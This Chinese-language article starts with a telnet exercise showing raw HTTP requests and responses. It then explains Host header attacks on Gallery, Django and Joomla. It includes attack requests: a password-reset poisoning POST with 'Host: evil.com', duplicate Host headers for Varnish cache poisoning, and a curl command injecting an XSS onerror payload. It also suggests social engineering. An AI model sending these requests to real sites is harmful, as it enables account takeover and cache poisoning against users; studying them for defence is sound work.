HTTP头部Hostname攻击【漏洞利用】
For more details, please read: https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks

---------------------------------------------------------------------
利用telnet观察http协议的通讯过程
实验目的及原理:
利用MS的telnet工具,通过手动输入http请求信息的方式,向服务器发出请求,服务器接收、解释和接受请求后,会返回一个响应,该响应会在telnet窗口上显示出来,从而从感性上加深对http协议的通讯过程的认识。
实验步骤:
1、打开telnet
运行-->cmd-->telnet
1.2 打开telnet回显功能
set localecho
连接服务器并发送请求
2.1 open www.guet.edu.cn 80 //注意端口号不能省略
HEAD /index.asp HTTP/1.0
Host:www.guet.edu.cn
/*我们可以变换请求方法,请求桂林电子主页内容,输入消息如下*/
open www.guet.edu.cn 80
GET /index.asp HTTP/1.0 //请求资源的内容
Host:www.guet.edu.cn
2.2 open www.sina.com.cn 80 //在命令提示符号下直接输入telnet www.sina.com.cn 80
HEAD /index.asp HTTP/1.0
Host:www.sina.com.cn
实验结果:
3.1 请求信息2.1得到的响应是: HTTP/1.1 200 OK //请求成功 Server: Microsoft-IIS/5.0 //web服务器 Date: Thu,08 Mar 200707:17:51 GMT Connection: Keep-Alive Content-Length: 23330 Content-Type: text/html Expries: Thu,08 Mar 2007 07:16:51 GMT Set-Cookie: ASPSESSIONIDQAQBQQQB=BEJCDGKADEDJKLKKAJEOIMMH; path=/ Cache-control: private //资源内容省略 3.2 请求信息2.2得到的响应是: HTTP/1.0 404 Not Found //请求失败 Date: Thu, 08 Mar 2007 07:50:50 GMT Server: Apache/2.0.54 <Unix> Last-Modified: Thu, 30 Nov 2006 11:35:41 GMT ETag: "6277a-415-e7c76980" Accept-Ranges: bytes X-Powered-By: mod_xlayout_jh/0.0.1vhs.markII.remix Vary: Accept-Encoding Content-Type: text/html X-Cache: MISS from zjm152-78.sina.com.cn Via: 1.0 zjm152-78.sina.com.cn:80<squid/2.6.STABLES-20061207> X-Cache: MISS from th-143.sina.com.cn Connection: close 失去了跟主机的连接 按任意键继续...
利用HTTP host头攻击的技术
一般通用web程序是如果想知道网站域名不是一件简单的事情,如果用一个固定的URI来作为域名会有各种麻烦。开发人员一般是依赖HTTP Host header(比如在php里是_SERVER[“HTTP_HOST”] ),而这个header很多情况下是靠不住的。而很多应用是直接把这个值不做html编码便输出到了页面中,比如:
<link href="http://_SERVER['HOST']" (Joomla)
还有的地方还包含有secret key和token
<a href="http://_SERVER['HOST']?token=topsecret"> (Django, Gallery, others)
这样处理问题一般会很容易遭遇到两种常见的攻击:缓存污染和密码重置。缓存污染是指攻击者通过控制一个缓存系统来将一个恶意站点的页面返回给用户。密码重置这种攻击主要是因为发送给用户的内容是可以污染的,也就是说可以间接的劫持邮件发送内容。
0x01 密码重置污染攻击
拿 Gallery 这个站来做例子。当我们进行密码重置的时候,网站会给我们发送一个随机的key:
$user -> hash = random::hash() ;
$message -> confirm_url = url::abs_site("password/do_reset?key=$user->hash") ;
当用户点击重置密码的链接时,肯定可以说明点的是自己的账户。

这个地方的漏洞是: url::abs_site 这一部分使用的Host header是来自用户重置密码的请求,那么攻击者可以通过一个受他控制的链接来污染密码重置的邮件。
POST /password/reset HTTP/1.1 Host: evil.com ... csrf=1e8d5c9bceb16667b1b330cc5fd48663&name=admin
这个漏洞在Django,Piwik 和Joomla中都存在,还有一些其他的应用,框架和类库。
当然这种攻击方式一定要能骗取用户点击访问这个受污染的链接,如果用户警觉了没有点击,那么攻击就会失败。当然你自己也可以配合一些社会工程学的方法来保证攻击的成功率。
还有一些情况,Host可能会被url编码后直接放到email的header里面造成header注入。通过这个,攻击者可以很容易的就能劫持用户的账户。
0x02 缓存污染
通过Host header来污染缓存的攻击方法最初是Carlos Beuno 在2008年提出来的。但是在现在的网络架构中,这种攻击还是比较困难的,因为现在的缓存设备都能够识别Host。比如对于下面的这两种情况他们绝对不会弄混淆:
GET /index.html HTTP/1.1 > GET /index.html HTTP/1.1
Host: example.com > Host: evil.com
因此为了能使缓存能将污染后的response返回给用户,我们还必须让缓存服务器看到的host header 和应用看到的host header 不一样。比如说对于Varnish(一个很有名的缓存服务软件),可以使用一个复制的Host header。Varnish是通过最先到达的请求的host header来辨别host的,而Apache则是看所有请求的host,Nginx则只是看最后一个请求的host。这就意味着你可以通过下面这个请求 来欺骗Varnish达到污染的目的:
GET / HTTP/1.1
Host: example.com
Host: evil.com
应用本身的缓存也可能受到污染。比如Joomla就将取得的host值不经html编码便写进任意页面,而它的缓存则对这些没有任何处理。比如可以通过下面的请求来写入一个存储型的xss:
curl -H "Host: cow\"onerror=\'alert(1)\'rel=\'stylesheet\'" http://example.com/ | fgrep cow\"
实际上的请求是这样的:
GET / HTTP/1.1
Host: cow"onerror=\'alert(1)\'rel=\'stylesheet\'
响应其实已经受到污染:
<link href="http://cow"onerror='alert(1)'rel='stylesheet'/" rel="canonical"/>
这时只需要浏览首页看是否有弹窗就知道缓存是否已经被污染了。

浙公网安备 33010602011771号